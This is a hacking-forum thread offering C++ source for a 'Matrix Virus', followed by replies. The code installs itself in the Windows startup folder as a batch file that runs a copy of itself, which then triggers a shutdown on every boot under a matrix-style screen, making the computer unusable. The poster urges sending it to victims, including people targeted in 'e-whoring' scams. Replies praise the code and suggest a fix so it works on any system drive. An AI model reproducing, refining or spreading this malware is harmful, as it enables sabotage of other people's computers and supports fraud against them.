Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

VERY Deadly VIRUS! [Source code]

DEADLY VIRUS! SOURCE CODE

Hello HF, So all you Batch scripters I have a nice little virus. This virus is called the Matrix Virus. Once this virus is executed, you will never be able to start your PC/Laptop EVER AGAIN! So do be careful. Now why create this? Well If you sent people some porn e.g E-whore. Just send them this or, make them execute it or just do it for fun! So here's the source code:
I Hope you Enjoy!
-Cyber
I am not responsible of the use of this virus.

Code
// The Matrix Virus
// Created by CyberHoax

#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}
oh for fucks sake. ITS NOT EVEN BATCH! JUST BECAUSE THIS PROGRAM OPENS A CMD LINE, DOES NOT MEAN IT IS FOR THIS SECTION...GO TO THE C# OR C++ SECTON dies
Will try this tommorow looks exciting
Looks really good mate, thanks for this.
Use "getenv("systemdrive")" not all drives are C you know?


(Feb 8, 2013 06:25 AM)Racialz Wrote:  This is C++ (or C)

Either way it doesn't belong here...
It uses a batch file, learn to read.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by SIM-297877Apr 27, 2016 08:28 PM 10 2,550 Apr 27, 2016 08:28 PM
Last Post: xxleonderpxx
[.NET] by VeidaraAug 15, 2015 07:20 AM 18 984 Aug 15, 2015 07:20 AM
Last Post: Odus
[.NET] by TazzyOpzApr 23, 2015 11:08 AM 7 2,169 Apr 23, 2015 11:08 AM
Last Post: TazzyOpz